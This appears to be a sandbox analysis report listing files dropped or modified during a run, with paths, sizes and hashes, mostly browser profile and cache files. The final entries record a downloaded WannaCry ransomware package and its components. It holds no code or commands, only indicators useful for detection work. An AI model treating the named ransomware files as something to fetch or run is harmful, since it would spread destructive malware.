Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
b9178e8748d3e64986ed220d15d26ea4

SHA1
0a39729b2671f02892cbf6fa7f1bdce20c6cb8f8

SHA256
419d222f034f3313b67e874422282f663368d23a954e18b19bbdc69e62cf2de5

SHA512
b5d15db9d01e9f27ce90105611ac529070beacb85c3f4edc0c334cc9777b3dd70f23df0a0685accd3a2648a73d1ea336d63f24b45099efa7e69cb45e00b4425f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
18f5bea3c62f89941667ecf8d1bc10d8

SHA1
a9004b8ef144eb59e20d5cfc78bcabe13e54f9c5

SHA256
942c7dc6a9e170284470420a5571fd0e9e65f4bac48ae20eaaf1d54a2f583f61

SHA512
64f1d5f5744f8d4cd7f4c36447356bd17a85da7a3bc4c09ae10ad35ec15688a7f79da63be2fd14b65996e9aa92e30f0341923f57cd803cac323545f9a5c0fc0f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe597d25.TMP

Filesize
48B

MD5
41ebfb60e34a1c35b5e008f0606f4151

SHA1
5bf411697970080120024fcd4f8f8e1be90b2337

SHA256
3861534b285a226b08133b9f9ff4a23570c0c962bbdd4c6c6aea274449c4b097

SHA512
468be55a735fe488a5d13d202fcfe9469c2c37c40be923610872f8725fd225675b9b286ee2c3d6bbfb8b672976cc1c1907e80ec1e9088dfacbe815eebe720098

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\b04ff536-a7e6-4aca-847a-8ec0d6b65a2b.tmp

Filesize
1B

MD5
5058f1af8388633f609cadb75a75dc9d

SHA1
3a52ce780950d4d969792a2559cd519d7ee8c727

SHA256
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

SHA512
0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
78KB

MD5
c0a4dd120bd277ff15bdc9e734d5b2e6

SHA1
43d94455aa060c951942e7a65e062550fafcb357

SHA256
8e962f843a7f64f775bef2232e0f0557cde6d7156c1148029a6fcf44c08d5756

SHA512
dffc5022bde67cb25acf47bed402fdfad2d06578ce6300bb48f651f89ff037ce4ebe6dda3214ff53c61bc8e5e595d753c02156a3077c5d4130545467b5f0a8bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
0ab27b557c982a0966e0e873ec0af684

SHA1
91cad3834539c09bbdaaa04843abc5540e7b9215

SHA256
0520ac04b1bd66dcdebc58825ac17be618be85ddd4e16ede2f0fa4bcbe46fc40

SHA512
3a492cd3500644fbdee6a1595add1e1bfbe64ce606a461361be8d7d65f91ff74dd4b3c1e5fbf22dc9531c9da66452545d0bdb2b9b464f0802f0964e2cf6bf0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
09507a85b960752dba0c3a3001b9cd4b

SHA1
5fad31d298386e81d84a6a0d04109276356f5ac0

SHA256
a11757ae8beee1f1af2ef3296e882b12b8018844f365fb930d1afb18893e4008

SHA512
241aaeabb14d8c9724ab7fd27fd6e6450cbbb2cd640412bed80e2609685f0bef9b01ba0c1fd4c0ff35bce43ecc6b5733e2340cf0e52e6d9111d450f4f53017d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000076

Filesize
19KB

MD5
2e86a72f4e82614cd4842950d2e0a716

SHA1
d7b4ee0c9af735d098bff474632fc2c0113e0b9c

SHA256
c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f

SHA512
7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000077

Filesize
65KB

MD5
56d57bc655526551f217536f19195495

SHA1
28b430886d1220855a805d78dc5d6414aeee6995

SHA256
f12de7e272171cda36389813df4ba68eb2b8b23c58e515391614284e7b03c4d4

SHA512
7814c60dc377e400bbbcc2000e48b617e577a21045a0f5c79af163faa0087c6203d9f667e531bbb049c9bd8fb296678e6a5cdcad149498d7f22ffa11236b51cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000078

Filesize
64KB

MD5
d6b36c7d4b06f140f860ddc91a4c659c

SHA1
ccf16571637b8d3e4c9423688c5bd06167bfb9e9

SHA256
34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

SHA512
2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000079

Filesize
70KB

MD5
638b28824ff7d2a8b5eca31267ffaf3d

SHA1
51c91fb5de5248d6dbbe194565231c4bbbc197fb

SHA256
a2477313b8f9735a83fff20ff6624d26a13c893601a3cf6148bc997022913011

SHA512
0eb506d4d9f7bf3aef60dc2d69135a1eb6c9748eca15f721cf5310a7bfe131e21c3504dd75ad986ddfcde907cedd8522caa64845de1794000c2fe7a477189af5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000085

Filesize
22KB

MD5
ad32f674936ba761bc351d89fc187921

SHA1
8b2d8d74d2c368894a8e58e68ac5f91297b391a4

SHA256
2243cd8d924a0aaedda03a90d06e4f10fa93c961ba0727c406d0d52772bd257d

SHA512
99684b079836ab5224d5e3884b34af85b83702fe598958f661c7697875bb664ec21e7a2adf60c5230490c92df35b160c5ddf7bcf6c4b772283ddfa9fddb910ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000086

Filesize
20KB

MD5
abbe94fde840650ca752236f55a737c2

SHA1
62550d34f1b30935f2b3764cdf95b0749fbd5cde

SHA256
02def83ccd2d4b9c2d46f40257bdb057f6e8bd5880542537b55bb27c69c8d9d8

SHA512
835a27ddc2378c99d70dead75832075ffb0702513ceb4423653de0dfbd90c64e5a8b2a1c3b102677f22146599c7abba052776e357d1ea9f387fedbc1462bf075

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000087

Filesize
37KB

MD5
ecbac903918fea980b064c2c1968b26a

SHA1
6db59eddbfe1f26a3defd1334e58cdaa282933ec

SHA256
b4629b0d18e26b6f37d62105ed31ea37920c97a149568c9550dafd3daaf08f32

SHA512
983259fc026881f5d81e8486ef8d86621f27f91de4800e9dbf8093e5b6850d9b72924d24a12064738389f50ab5227b31590210d08a8b486b64160c08c06a8c93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000088

Filesize
38KB

MD5
32efc8cdbf664d39009891f28ae9a31f

SHA1
897e8c936c885b5fc66309545c446edca5fbc90d

SHA256
af1503390295503bdb6fd83b354817afcba20eec36322864f943476c5176861a

SHA512
d985288e681ac72080e8bf22d4d2c73e75fb9c5921582e5dd7a83ded9740fe8b18d164108e355a46f1bdfd41cf2dc85acbcc2fc53c95aa63b5ee26cfec0f83b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000089

Filesize
29KB

MD5
5ffd2f09be2ad64c5f1cebb611fc4679

SHA1
582251f0ed72bc6cc01df42f086d71cf78a9e5dd

SHA256
53d55c88804a255ebeeab9f920a4e4989a54cea3c45975cb428f64fec5fb309e

SHA512
8351b26458a5a16968f0108d4af0723a44a0799f2bad4a85e594d4fbc17dc891963b1301ad54df20b3465611edca3100636be98a8c83f9b9c743b28ecc5a35d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008a

Filesize
18KB

MD5
89ee4d8818e8a732f16be7086b4bf894

SHA1
2cc00669ddc0f4e33c95a926089cea5c1f7b9371

SHA256
f6a0dfa58a63ca96a9c7e2e1244fcff6aea5d14348596d6b42cd750030481b82

SHA512
89cc7dfae78985f32e9c82521b46e6a66c22258ebe70063d05f5eb25f941b2fd52df6e1938b20fe6c2e166faa2306526fdf74b398b35483f87b556a052b34c5e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008b

Filesize
59KB

MD5
4251ce959357a7cfc67a3560b353ecb8

SHA1
cd88a0a442bcbc7868fd06790b14f092831d95d7

SHA256
dd043f1b1191e556f770e1d3e8db4f61327fdd7873c26588d7b9994e4b30d994

SHA512
d8b547efc2ea200797103393b496d0ecd3920bdb271d3e0548469fdb1a2ff26b2cc5b05d6454947b338becfa1996e831893e70a1074aa9f82b269bde6479718c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008c

Filesize
291KB

MD5
02dade01ccefc3b8b218ba9d28b93f03

SHA1
b150d4c6a4ae136517f5182f1abce1713aaca452

SHA256
761656da1f6c3d22b16cad179b22ca3166c6afe3db2baf06b0455a5cc4525126

SHA512
2e7a74509a8e2a5ad96245d63afd67de7c11f911dc3fc71c7f79a3c6a124e3394d948e02d3adf7fc535036755068b7eecd452d6bcb8e8af18ecff6cb58d8aab1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008d

Filesize
45KB

MD5
7e0433fc71ed134b489f61597c892b54

SHA1
8a445cee7d56c63ac1c795b273fae79c794e9cfa

SHA256
436f58b57c952e40a1d0d4c17af144d65d858fc5e7ab7c80fb6f14b7a3131e4c

SHA512
1f06c07d46e29208c7c2ba4d38297688d4f3bdaf6947d631efccfac8e711bdb91721998592616728787b07c201aa418d78fdb3792285f1896e8b2b566c788623

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008e

Filesize
55KB

MD5
c5b5852b05058e6ff526c8bfe1fffb67

SHA1
075d50f6c778ac3d9840cb1c791fa71ea84abd68

SHA256
7138bd7ff257f41abe3f2c8b775ff5651c4a3a6f781bc925b435dec85ff56eaa

SHA512
674d57161c88d098d1242d749b9d64880c1d2b1d12e912d0654e2a661888659b7aea3efe31769d3e108b834052e6854fd93a849558a59e0c62675cb2293e2d07

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008f

Filesize
23KB

MD5
e9ffc1765c01999690a47525bcf08abe

SHA1
8adb8a4894062d1cbcd255d4efd76d87ae6be1e7

SHA256
da643eb110e63d2009604dca7d465a2e2ae93373064228c7469d9ac3f0245ee9

SHA512
2daab0a2229eea08a25e678aef7e3630d1b2ee1ae67c55e4aff0916f99c246a9a4e4e9f2bc02e381ae7439b87347840d96aea2007c91d377866dd0b0e066bb4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000090

Filesize
88KB

MD5
2dfda5e914fd68531522fb7f4a9332a6

SHA1
48a850d0e9a3822a980155595e5aa548246d0776

SHA256
6abad504ab74e0a9a7a6f5b17cadc7dea2188570466793833310807fd052b09c

SHA512
d41b94218215cec61120cc474d3bc99f9473ab716aadf9cdcbcabf16e742a3e2683dc64023ba4fd8d0ff06a221147b6014f35e0be421231dffb1cc64ac1755e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000091

Filesize
108KB

MD5
d2188844444770c25c123ae728fbae4b

SHA1
c0d3b768eccff016e7f324d4e180bf2b5fdf6f8f

SHA256
691599f2340944dda75b66d14e02a4d44acd87d8cc268d7cfe05f295ad7b4a58

SHA512
d092e3b263ae0cd092f2522f37d927211f163c307d26cdcab46a5501ff6cd799430f5f7cd8b5dff5363fb93d6b157580c2a02c3489364175d11bc66e307a81d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
8KB

MD5
de130ed620cebfad14e839e321ae8163

SHA1
84b971c360a586386a6634e717c10fd0ba15e89b

SHA256
d64c17933263c0f9f0482581b3244aa0f4296f8bd6619707c0fff8522690ba36

SHA512
f1a314541ef6d4fdf5f27fccf2217ab5b3338e87838f152eec7c6871f66ac81dad023a20710f580c228cc65b8c47c967686247c8b3d7ac3bd8f7c116fcbd1821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe588f1c.TMP

Filesize
3KB

MD5
ac3d671fbf5e236361afbd3670b79d0a

SHA1
3d2ab15aabffbfa607d7b355e3bdff42fd022de2

SHA256
cf9b4493701352b085e4f59da1481f586973c0ce99dfd0d00b5edc5b6fcc0a8e

SHA512
2219a4b424d1821f87edcd4a2bc5c050f966479733991b1d427fbe9dbc7058262473d7322969e53d6c1f48e4f5a9f29443f11481b1ee1c72f87b3e1383555d1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
2b66d93c82a06797cdfd9df96a09e74a

SHA1
5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

SHA256
d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

SHA512
95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\6752660d-3182-4366-9e89-2ec3dd21d9fe.tmp

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
5KB

MD5
2e46a9673af0494fa0c6dd2cc7bacbe3

SHA1
e18b58778500048da9b02a755da4b6c06af45033

SHA256
eec6d6f931abf125947fe3ee4f1d4619f4522423462111d0d1704279781f51d7

SHA512
89c43f5ef80517c8150cdde5c0eedf6e15540709630f31277eb0c6e7a4fdaf0ca13db9ad3f3f81a331d5217adc9ef06f26ccccb0929ad93a4d4ccb00ac990ab4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
5KB

MD5
6841431a6dface79d2ceb8329372e94b

SHA1
aefa15bd3927700c701f264d51e4563e7484737d

SHA256
bcc7206d0163f76b557d5dbe21fa37ac1609b202997d528281c5f6389d144d3f

SHA512
540503888a6a1577adf9410b089376ac60f76aea39601fd2a7aad2390c0b306579bfdb168f7238294f6d76755c2566fa703b756b316ae8c49cc8e4e25bfd8257

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
211B

MD5
48c96a9ab64848fc289ce863bdafba0a

SHA1
9d8434b7f2c9c6744365e139117869388e910c38

SHA256
255d63907e11b2bfc6e4edee1bb0a543b20cede763ac51e171ee22f8826101f4

SHA512
7a8ba03b16d50975f97b8fd2d3d01c0bfb082b084a5cc9c1d7483ab69a204b457e66a8a46134a483820a6fd75ec9d165090d2aa3a56d8b3b698506e5d483f0a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
19KB

MD5
ee8147f687e34f79bb2c16dba6654f44

SHA1
5b22b3ea373db979fc1425a8625ef504a7888e61

SHA256
61195a68ce5b57b6cf6db81f7ac567cd9ffa12f7cc66ae588059efb9184ef5ba

SHA512
8f90742b4317fd506a44585f437656a348324a1ddb3dd4c781c2e4e28f01d5171869a40357b3bf051ff582c5d86ac46991dc7e23a3d059576cbe81d1438af85b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
5721cbc58164a1b612f5bde760b616b8

SHA1
5a7cfffc47bf7286713c5e5773777816722f06c2

SHA256
4f090d4be6a8cc8d0022599e4455e3d0331e88feaa47cb464093f132a13dbe09

SHA512
cb3e1d1bc1423539dff0fe64c9d4b17c43ccc196157c5990c772d40f5ef0c7059c413432ce2562620d5929f3d1cee4d5dbf7d985f5da7e5f3bd0c5914e0ba9f1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
2e2b5675f57bd5af074a805cfb87959a

SHA1
92fdcf94e2370adde26155c868704a1d598be545

SHA256
36096cf6506643c50786793812535189dde80250f27eb17dfb54dc94ea496517

SHA512
8c7b078bf021a4e3141a9c02e927fa9116d4516fcbba39f9849b1a14b2b3835b8dc460692d5823382cccb428f3bf9b347d3ec322a5eb70e7ee6ad1aa279535f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
18KB

MD5
51904f317125a7572ff34a922bc9a2f7

SHA1
1e30eb675c9c9c343e36cea60a8c1b5ae559212e

SHA256
4b05904e099e583ec6a723a87c276df4461e15247cbe39fb837483d62fd6c5c4

SHA512
193e42333c1312bc35087bfb4ee3a2c7b773b3c1ceebb0bab2bf60ca3d8c34b626dc6bdca99bf16c61e44b34cb9ccce8b833e835d025e617ea17e9525dfd4218

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
36KB

MD5
eb2507527bec2a2363c2a3d67f85058d

SHA1
a6c5b1faf3cf8c1a83b4e0395d3a846dcd5d85ec

SHA256
3264c41775c7d299dcd1a28ace99b7df6dfbd48065fa0129b197e75f90f6fb34

SHA512
183dc5f70dbbd542738e5f70b8268b6406119d827110c942ae21dc0b30f1af9d0f229a94a583b2d839c6a09704938f68b41c05882513d926c2fbf09b3a58f5e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
21KB

MD5
c429e6e8600e7bf97ae5a9118872ec7f

SHA1
f5b71579cd5677b9b9ee2dc3da94e9d2688e162f

SHA256
9ee100877fb6abbb753a1d81e04401edeea60d415b3f84af66cc502edf1a7775

SHA512
300225ad891a04d178de893c94b3d499b006042f2ffa6b617b7ce056048aabaa12a3e8b3725365ff927efbb7c5ce34b1f57a92c39dcd8b23c3cf39e2f10cf0c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
467B

MD5
7cca8a1204f576d1e766d487175c2540

SHA1
3ee07130196089320a52b0fd828a40793b6671a4

SHA256
689107a7c244cf856e1ad9d92c7aad7fd82d2a258df0fa9872a165c701aca7cf

SHA512
206103a0920de077dad8e0e5f32b114b93a3756dc747a20f90b890b98cf76b098c57de3d4f03afd42e5e7e69a189bc627f0efa745efb1c5087bf5579862c8ba2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
20KB

MD5
fa92406e8089338039b00bd6b9fa7efa

SHA1
0331a2535790b448c642678e8eb0757f276056f7

SHA256
02b7650b0ed64494e3f3cd10274966116354a6608f2b8b9afa3fd51299bda4b0

SHA512
0c3a9b7227c931bc9ac3dbebb26a639db7d12621adb7e5dbc5dd162b4940d436894941577aaa130c4be56d18c2e2ffbe0bf8338a10ad397add600675644752ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
900B

MD5
5b468f5fd682e381def4d1a68c05c821

SHA1
a7e3e3d4f694842a52e93feffdcb7ead391ecd5e

SHA256
96f1046ed6564bcc51edc29699f74997e69f06651f7dc757ece8edff3ad42185

SHA512
f5276d1ebf2d21076e5a95e4d80d59edf2ac0f37bfc457d89d3e6ac6a43cfffe987450c84ab8a2a88f27af33536e68056390a453a62bc0b568b74fc7ef8d2078

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig

Filesize
22KB

MD5
3f8927c365639daa9b2c270898e3cf9d

SHA1
c8da31c97c56671c910d28010f754319f1d90fa6

SHA256
fc80d48a732def35ab6168d8fd957a6f13f3c912d7f9baf960c17249e4a9a1f2

SHA512
d75b93f30989428883cb5e76f6125b09f565414cf45d59053527db48c6cf2ac7f54ed9e8f6a713c855cd5d89531145592ef27048cf1c0f63d7434cfb669dbd72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Filesize
264KB

MD5
e127adce405326ecfd75b301c9f5e993

SHA1
20fb8ba61c9d4c5f987e5a281780bb823aa66ad2

SHA256
7997e89e5c68e5411b2dfab02c8fe3fac0d5c136810cab41014c7fa3e3c3dd5e

SHA512
945a56178889e03fbd765ea8d8519d2ccac9e5cef2d8cb07ec59ee85ab0420637ae6c44745cffc5fb3d04e21c4fc2cce8cd3efcc23f928e20f6bfbbdb04eee48

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
54KB

MD5
b830d2450d0344188c7aafcec7625764

SHA1
980678185b6001fda15a86b907371717972593c4

SHA256
b659c2e7fedb82cc6310dcac36cb919b3bba60be5868beb4a42290cd8893e491

SHA512
72a271465725c372f8b9daf5caebb1be48e8cb1268d91a98ddb9c7eca1e7e1273e0435bcaf15929feef851505a26ed7b9e101c2bb7a3002029ec79126f61664e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
61KB

MD5
ce02283f5d7acb9be24912389a9d3819

SHA1
a943a2f67ac385bb390d2620b6f8cccc91a58935

SHA256
13d0558207a3c2d61956296ef9eabbec9c7384f4bc62568f19493fc9a956dca0

SHA512
7dbd426b8da522192c1501851faaf00e9fa12de694df1e447ae4819edfc829d52bff57e32c19007b3fe58cad3ef1beb8ffec16f694533906cfdc4e31cfdfd1c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
d72dbf5f0cc0e4caf04b2ee622f612e1

SHA1
b6699cfe9ba5a6924d2a684d58d1aa8e7b1893e7

SHA256
f9921eb137bda07921933b9093f53ea1c75e4405fb38dfa1be917428276356d4

SHA512
d0b215aeeda0f6a048da67e9d24356ca5b2eff3ad6d4c3f5fa62293f45a9009d820b7d50547ac204005c4ae0a4c2b2cb942cf056efe8c4fde926ea36d76b8931

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
db594185a045026c853db7123425a583

SHA1
81df7b27e72dd6408c26db08b3065e89c80f23f4

SHA256
3c9482c24ec695e33ad91caa733774717ec3c8ac5c3c24ed6194e8873fe2dbb7

SHA512
a3c257f1e16d72faf3bf22883e28ca252c5e25b42ca258518877c13ad48781c81167513a58d170e7d82bb117dabc2b9fba2fbc1f8a6c07c261c3f4c34cd3d368

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
54KB

MD5
34ccfaac344f499c50e16444ce81b8d6

SHA1
4460971be9e300f4c904745c5e065e8b58351d34

SHA256
6a7c880ca5ba5d29c743496f6cb3fbdeabb9c2a75d49f01f156da30288238253

SHA512
a29c0d5e599364205e657c448b3fdb7d49cccc0106b8b93ae33f1842e8d18060498187ec6eda8ed6f813be3661328476ead804b8df3ee6ad0b8624bdd75e4d9c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
28903a72d3330c942aa48d75fe333ebc

SHA1
303626a3fe0605979cd1941723691c1c53245d41

SHA256
fa73bc9db7a18f7127406026d83c944b1fda4306859cb62f2ab98b19d2dc0219

SHA512
7d05ca1404b9ca7678e6682ab24f00cacb2ae969972ca8a67dccbd1851ed5f6570ffa6f0589e1783448e0af8e9f155b86e3a5e4e3ec2e60d321f78f4310511dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
4ae753bb6734a041ffde836d55d16d8e

SHA1
eadedd9b886aa6bd0abe54b4ad828f6ef85d28b6

SHA256
6d7dd70561ded0fca21770240c25cdb921b8c969140fd569aec8e5df849febd8

SHA512
6698cb0642e4198a2232b6f0788602fc25b18170c74feaeb021a7daf5ee0c829fed1d8055a0410fe3a8bab7647a9f041cf134bc403b02b669ee9d3b3d3a07aa9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe581085.TMP

Filesize
392B

MD5
0aeddccacd5c3add07ba81be5ed16564

SHA1
74918f8502ed02db1c681234d06a48dbb921ed5e

SHA256
f205e873c8c9bad9389317a8ff39fb88dd0b983f180956d067e16e4d05b8d4a0

SHA512
d393f44df5d62785306912090b95f51158c6109b2fcfc6b6d5aedd9c42690e7ab1bbf95a939f83e4bc70fc2ed83d8e53a11a895b18d0f8e6c371ee8aeec4b420

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Filesize
2KB

MD5
c3ac5f7c1be7189005f1491e3028fc61

SHA1
39671916d399bfc86fc1d9ffaf4cebdb16555c45

SHA256
6b157eac25d7ffd75c4baee61901267adb4dfb64a56f74e1145306a486a21f99

SHA512
a54e52c4f5f77200b97ba9777c8ecee59b8299fe5455109c37a1d4b590d2ee6aabdd608fa3bc9460e293d97562af031dac4f3adcd9c4affab4bc24d5325f911b

Download Submit
C:\Users\Admin\Downloads\WannaCry-main.zip.crdownload

Filesize
3.3MB

MD5
3c7861d067e5409eae5c08fd28a5bea2

SHA1
44e4b61278544a6a7b8094a0615d3339a8e75259

SHA256
07ecdced8cf2436c0bc886ee1e49ee4b8880a228aa173220103f35c535305635

SHA512
c2968e30212707acf8a146b25bb29c9f5d779792df88582b03431a0034dc82599f58d61fc9494324cc06873e5943f8c29bffd0272ca682d13c0bb10482d79fc5

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\242971744988781.bat

Filesize
378B

MD5
41cd59f7dc3eaa903f418496114e7b2e

SHA1
e53bfb75b19e629f87432e6709e815f36ff2a138

SHA256
6859cbc76800cbf431277ee41d10411d446c5461284fd8cf42849ddeb2a2cce7

SHA512
46de33f05780c7fa8f544dec28664a48933f1f743564a0d7bdb8b5bbbfa22233be180d7cdd97fc55d8f080b43824f75cf9df336cd414f60d30a291857cb94bce

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]

Filesize
933B

MD5
7a2726bb6e6a79fb1d092b7f2b688af0

SHA1
b3effadce8b76aee8cd6ce2eccbb8701797468a2

SHA256
840ab19c411c918ea3e7526d0df4b9cb002de5ea15e854389285df0d1ea9a8e5

SHA512
4e107f661e6be183659fdd265e131a64cce2112d842226305f6b111d00109a970fda0b5abfb1daa9f64428e445e3b472332392435707c9aebbfe94c480c72e54

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\TaskData\Tor\tor.exe

Filesize
3.0MB

MD5
fe7eb54691ad6e6af77f8a9a0b6de26d

SHA1
53912d33bec3375153b7e4e68b78d66dab62671a

SHA256
e48673680746fbe027e8982f62a83c298d6fb46ad9243de8e79b7e5a24dcd4eb

SHA512
8ac6dc5bb016afc869fcbb713f6a14d3692e866b94f4f1ee83b09a7506a8cb58768bd47e081cf6e97b2dacf9f9a6a8ca240d7d20d0b67dbd33238cc861deae8f

Download Submit
C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\b.wnry

Filesize
1.4MB

MD5
c17170262312f3be7027bc2ca825bf0c

SHA1
f19eceda82973239a1fdc5826bce7691e5dcb4fb

SHA256
d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa

SHA512
c6160fd03ad659c8dd9cf2a83f9fdcd34f2db4f8f27f33c5afd52aced49dfa9ce4909211c221a0479dbbb6e6c985385557c495fc04d3400ff21a0fbbae42ee7c

